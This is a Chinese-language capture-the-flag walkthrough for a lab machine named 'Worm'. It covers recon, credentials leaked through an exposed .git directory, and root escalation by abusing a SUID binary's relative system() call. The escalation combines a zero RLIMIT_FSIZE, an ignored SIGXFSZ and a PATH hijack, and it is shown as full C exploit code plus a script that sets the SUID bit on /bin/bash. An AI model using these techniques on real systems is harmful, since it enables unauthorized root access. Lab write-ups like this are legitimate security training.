信息收集

bash
┌──(root㉿kali)-[~]└─# arp-scan -l | grep PCS192.168.31.161  08:00:27:22:4e:e3       PCS Systemtechnik GmbH ┌──(root㉿kali)-[~]└─# IP=192.168.31.161 
bash
┌──(root㉿kali)-[~]└─# nmap -sV -sC -A $IP -PnStarting Nmap 7.95 ( https://nmap.org ) at 2026-01-21 03:36 ESTNmap scan report for Worm (192.168.31.161)Host is up (0.0012s latency).Not shown: 998 closed tcp ports (reset)PORT   STATE SERVICE VERSION22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)| ssh-hostkey: |   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)|_  256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)80/tcp open  http    Apache httpd 2.4.62 ((Debian))| http-git: |   192.168.31.161:80/.git/|     Git repository found!|     Repository description: Unnamed repository; edit this file 'description' to name the...|_    Last commit message: 4 |_http-title: Site doesn't have a title (text/html).|_http-server-header: Apache/2.4.62 (Debian)MAC Address: 08:00:27:22:4E:E3 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)Device type: general purpose|routerRunning: Linux 4.X|5.X, MikroTik RouterOS 7.XOS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)Network Distance: 1 hopService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTEHOP RTT     ADDRESS1   1.24 ms Worm (192.168.31.161) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 8.39 seconds

.git 泄露

cmd
python git_dumper.py http://192.168.31.161/.git/ ./worm[-] Testing http://192.168.31.161/.git/HEAD [200][-] Testing http://192.168.31.161/.git/ [200][-] Fetching .git recursively[-] Fetching http://192.168.31.161/.git/ [200][-] Fetching http://192.168.31.161/.gitignore [404][-] http://192.168.31.161/.gitignore responded with status code 404[-] Fetching http://192.168.31.161/.git/config [200][-] Fetching http://192.168.31.161/.git/hooks/ [200][-] Fetching http://192.168.31.161/.git/index [200][-] Fetching http://192.168.31.161/.git/HEAD [200][-] Fetching http://192.168.31.161/.git/info/ [200][-] Fetching http://192.168.31.161/.git/branches/ [200][-] Fetching http://192.168.31.161/.git/description [200][-] Fetching http://192.168.31.161/.git/COMMIT_EDITMSG [200][-] Fetching http://192.168.31.161/.git/logs/ [200][-] Fetching http://192.168.31.161/.git/objects/ [200][-] Fetching http://192.168.31.161/.git/refs/ [200][-] Fetching http://192.168.31.161/.git/hooks/fsmonitor-watchman.sample [200][-] Fetching http://192.168.31.161/.git/hooks/post-update.sample [200][-] Fetching http://192.168.31.161/.git/hooks/pre-merge-commit.sample [200][-] Fetching http://192.168.31.161/.git/hooks/pre-commit.sample [200][-] Fetching http://192.168.31.161/.git/hooks/pre-push.sample [200][-] Fetching http://192.168.31.161/.git/hooks/pre-receive.sample [200][-] Fetching http://192.168.31.161/.git/hooks/pre-applypatch.sample [200][-] Fetching http://192.168.31.161/.git/hooks/prepare-commit-msg.sample [200][-] Fetching http://192.168.31.161/.git/hooks/commit-msg.sample [200][-] Fetching http://192.168.31.161/.git/hooks/push-to-checkout.sample [200][-] Fetching http://192.168.31.161/.git/hooks/update.sample [200][-] Fetching http://192.168.31.161/.git/info/exclude [200][-] Fetching http://192.168.31.161/.git/logs/HEAD [200][-] Fetching http://192.168.31.161/.git/logs/refs/ [200][-] Fetching http://192.168.31.161/.git/refs/heads/ [200][-] Fetching http://192.168.31.161/.git/refs/tags/ [200][-] Fetching http://192.168.31.161/.git/hooks/applypatch-msg.sample [200][-] Fetching http://192.168.31.161/.git/objects/03/ [200][-] Fetching http://192.168.31.161/.git/objects/8b/ [200][-] Fetching http://192.168.31.161/.git/objects/1e/ [200][-] Fetching http://192.168.31.161/.git/objects/52/ [200][-] Fetching http://192.168.31.161/.git/objects/b2/ [200][-] Fetching http://192.168.31.161/.git/objects/c6/ [200][-] Fetching http://192.168.31.161/.git/objects/ce/ [200][-] Fetching http://192.168.31.161/.git/objects/info/ [200][-] Fetching http://192.168.31.161/.git/objects/e9/ [200][-] Fetching http://192.168.31.161/.git/objects/pack/ [200][-] Fetching http://192.168.31.161/.git/logs/refs/heads/ [200][-] Fetching http://192.168.31.161/.git/refs/heads/master [200][-] Fetching http://192.168.31.161/.git/objects/8b/25a83d02aa6707f75d8fa7721ae4a999010ded [200][-] Fetching http://192.168.31.161/.git/objects/1e/0f35c5f74fa99bfff05187488e76bc6c072db6 [200][-] Fetching http://192.168.31.161/.git/objects/03/5a8ed549d7759749e3795e6234b0850133cd9e [200][-] Fetching http://192.168.31.161/.git/objects/03/b069b6beb2eec425651cfc69602d3dc45c49c7 [200][-] Fetching http://192.168.31.161/.git/objects/52/8240ae24a5db58dc12a128a8a0a3de50572174 [200][-] Fetching http://192.168.31.161/.git/objects/ce/0df0104ba2e23e9a749aab4622b342104934de [200][-] Fetching http://192.168.31.161/.git/objects/b2/0ebc0e54047f39e739f50e21837b154cd4c6b9 [200][-] Fetching http://192.168.31.161/.git/objects/c6/2011ddce452510565029bc4d4a412c2650dce6 [200][-] Fetching http://192.168.31.161/.git/objects/c6/2888da183b18a51c52bbfdad3d448fe2da2a86 [200][-] Fetching http://192.168.31.161/.git/objects/e9/a18ec87eb40be80165cb27cce8bd0b7ba88f0b [200][-] Fetching http://192.168.31.161/.git/logs/refs/heads/master [200][-] Fetching http://192.168.31.161/.git/hooks/pre-rebase.sample [200][-] Sanitizing .git/config[-] Running git checkout .Updated 2 paths from the index

在第二次 git 提交的 creds.txt 找到:

text
junemTdwC2mn94UlBr31y56t

ssh 连接

bash
┌──(root㉿kali)-[~]└─# ssh june@$IPjune@192.168.31.161's password: mTdwC2mn94UlBr31y56tLinux Worm 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64 The programs included with the Debian GNU/Linux system are free software;the exact distribution terms for each program are described in theindividual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extentpermitted by applicable law.Last login: Wed Jan 21 04:07:47 2026 from 192.168.31.58june@Worm:~$ iduid=1000(june) gid=1000(june) groups=1000(june)june@Worm:~$ cat user.txtflag{user-e1c65e4d4ef5f4834934b51fa7aa7d71}

提权

检查 SUID

bash
june@Worm:~$ find / -perm -u=s -type f 2>/dev/null/usr/bin/chsh/usr/bin/chfn/usr/bin/newgrp/usr/bin/gpasswd/usr/bin/mount/usr/bin/su/usr/bin/umount/usr/bin/pkexec/usr/bin/sudo/usr/bin/passwd/usr/lib/dbus-1.0/dbus-daemon-launch-helper/usr/lib/eject/dmcrypt-get-device/usr/lib/openssh/ssh-keysign/usr/libexec/polkit-agent-helper-1/opt/write

/opt/write 可疑

bash
june@Worm:~$ ls -la /opt/total 28drwxr-xr-x  2 root root  4096 Jan 21 04:39 .drwxr-xr-x 18 root root  4096 Mar 18  2025 ..-rwsr-sr-x  1 root root 17104 Jan 20 09:47 write

拿出来逆向分析

无壳,C 写的,估计是个 pwn 题,先看看 main 函数

c
int __fastcall main(int argc, const char **argv, const char **envp){  size_t n; // rax  int fd; // [rsp+24h] [rbp-Ch]  char *s; // [rsp+28h] [rbp-8h]   if ( argc != 2 )  {    fprintf(stderr, "Usage: %s \"message to write\"\n", *argv);    exit(1);  }  s = (char *)argv[1];  if ( setuid(0) < 0 )  {    perror("setuid(0) failed");    exit(1);  }  fd = open("/opt/welcome.txt", 577, 420);  if ( fd < 0 )  {    perror("Failed to open /opt/welcome.txt");    if ( setuid(0) < 0 )    {      perror("setuid(0) failed before calling warning");      exit(1);    }    system("warning");    exit(1);  }  n = strlen(s);  if ( write(fd, s, n) < 0 )  {    perror("Failed to write to file");    close(fd);    if ( setuid(0) < 0 )    {      perror("setuid(0) failed before calling warning");      exit(1);    }    system("warning");    exit(1);  }  close(fd);  puts("Message successfully written to /opt/welcome.txt");  return 0;}

程序存在两个关键问题,组合后可导致提权:

c
size_t n = strlen(argv[1]);if (write(fd, argv[1], n) < 0) {    system("warning");     exit(1);}
  1. 不安全的 system() 调用
    在错误处理分支中,程序调用了 system("warning")。由于使用了相对路径(没有 /),system 函数会在环境变量 PATH 指定的目录中查找名为 warning 的可执行文件,因此可以通过修改 PATH 环境变量来劫持执行流。

  2. 错误处理逻辑可达性
    漏洞代码位于 if (write(...) < 0) 分支中。正常情况下 root 权限的进程写入 /opt/welcome.txt 几乎总是成功的。我们需要在不破坏程序启动的前提下让 write 函数失败。

可以利用 Linux 的资源限制机制进入漏洞分支,Linux 允许通过 setrlimit 系统调用限制进程可以使用的资源。其中 RLIMIT_FSIZE 用于限制进程可以创建的最大文件大小(以字节为单位)。

攻击策略如下:

  1. 设置文件大小限制为 0:在父进程中将 RLIMIT_FSIZE 设置为 0。
  2. 忽略 SIGXFSZ 信号:默认情况下,当进程试图写入超过限制的数据时,内核会发送 SIGXFSZ 信号杀死进程。我们需要忽略该信号,迫使 write 函数返回 -1 (错误码 EFBIG) 而不是导致程序崩溃。
  3. 劫持 PATH:将当前目录 . 添加到环境变量 PATH 的最前面。
  4. 执行目标程序:通过 execve 调用 /opt/write。子进程会继承父进程的资源限制和信号处理设置。

先准备一个名为 warning 的恶意脚本,当漏洞触发时它将被 root 执行,我们的目标是给 /bin/bash 添加 SUID 权限,以便后续随时获取 root shell

bash
cd /tmpecho '#!/bin/bash' > warningecho 'chmod u+s /bin/bash' >> warningchmod +x warning

用 C 编写 exp 实现“设置资源限制 -> 设置环境变量 -> 执行目标”的逻辑

c
#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <signal.h>#include <sys/resource.h> int main() {    // 1. 忽略 SIGXFSZ 信号    // 如果不忽略,write 超过大小时程序会被系统直接 Kill,无法执行后续 system()    signal(SIGXFSZ, SIG_IGN);     // 2. 将最大文件大小限制 (RLIMIT_FSIZE) 设置为 0    struct rlimit lim;    lim.rlim_cur = 0;    lim.rlim_max = 0;    if (setrlimit(RLIMIT_FSIZE, &lim) != 0) {        perror("setrlimit failed");        exit(1);    }     // 3. 构建环境变量,劫持 PATH 指向当前目录 (.)    char *envp[] = {"PATH=.:/usr/bin:/bin", NULL};     // 4. 目标程序参数    char *argv[] = {"/opt/write", "pwn", NULL};     printf("[*] Launching attack: RLIMIT_FSIZE=0, PATH=.\n");     // 5. 执行 SUID 目标程序    execve("/opt/write", argv, envp);     // 如果 execve 返回,说明出错了    perror("execve failed");    return 1;}

编译并运行

bash
gcc exp.c -o exp./exp

检查 /bin/bash 是否成功被修改:

bash
june@Worm:/tmp$ ls -la /bin/bash-rwsr-xr-x 1 root root 1168776 Apr 18  2019 /bin/bash

使用 -p 参数启动 shell 维持 root 权限:

bash
june@Worm:/tmp$ /bin/bash -pbash-5.0# iduid=1000(june) gid=1000(june) euid=0(root) groups=1000(june)bash-5.0# cat /root/root.txtflag{root-415fd5c8fdc9e94be02839e3afd69720}